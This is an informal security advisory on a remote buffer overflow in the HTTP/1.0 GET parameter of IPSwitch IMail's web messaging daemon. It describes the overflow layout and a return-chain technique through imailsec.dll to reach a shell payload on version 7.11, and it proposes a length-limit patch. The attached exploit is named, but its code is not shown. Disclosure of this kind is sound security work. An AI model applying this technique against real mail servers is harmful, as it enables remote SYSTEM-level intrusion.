2c79cbe14ac7d0b8472d3f129fa1df55 Security Advisory #5

#PRODUCT

IPSwitch IMail, All Versions

#VULNERABILITY

there is an overflow present in the GET parameter
under the HTTP/1.0 specification in the Web Messaging
daemon in all IMail versions to date.. HTTP/0.9 &
HTTP/1.1 are not vulnerable, as they have been fixed
in a previous bug report.. oops, forgot one :>

#EXPLOITATION

<96 bytes><EBP><EIP>
choosing right causes no problems, soooo....

as none of the registers point to our payload on ret
some trickery is necessary to hit our payload in a
dynamic way.. nothing too difficult however

esp is 8 bytes from our payload, but it has to run
right over our chosen ret (call/jmp esp).. so flat out
jmping esp has some shitty near-impossible odds
working against it.. so we need to do some sex first

execution flow:
eip overran, ret (esp-4) -> (imailsec.dll) land at pop
ebx, ret10 (esp-18) -> (imailsec.dll) call esp

after only 3 redirections we've now got esp pointing
at our corrupted payload.. YUMMY!

preserve esp -> sub esp -> jmp esp

we preserve esp to prevent our stack from running
right over our code, then we jump relative to our good
payload.. ooohh you know whats coming next

recover esp -> execute shell

now that the stack is out of the way, we can just let
the shit fly..

see attached exploit.. target imail version is 7.11
(HF1 applied or not)

#PATCH

since this is just a simple buffer overflow
(lstrcpya() if I remember correctly?), a simple patch
is in order!.. GET argument is now limited to 90
characters, we can assume no more is necessary, as
someone else would have found this earlier..

#EOF

mailserver #4, more to come..

always,

        IPSwitch IMail 7.11 remote 'SYSTEM' exploit

        there is an overflow in the GET parameter under the HTTP/1.0
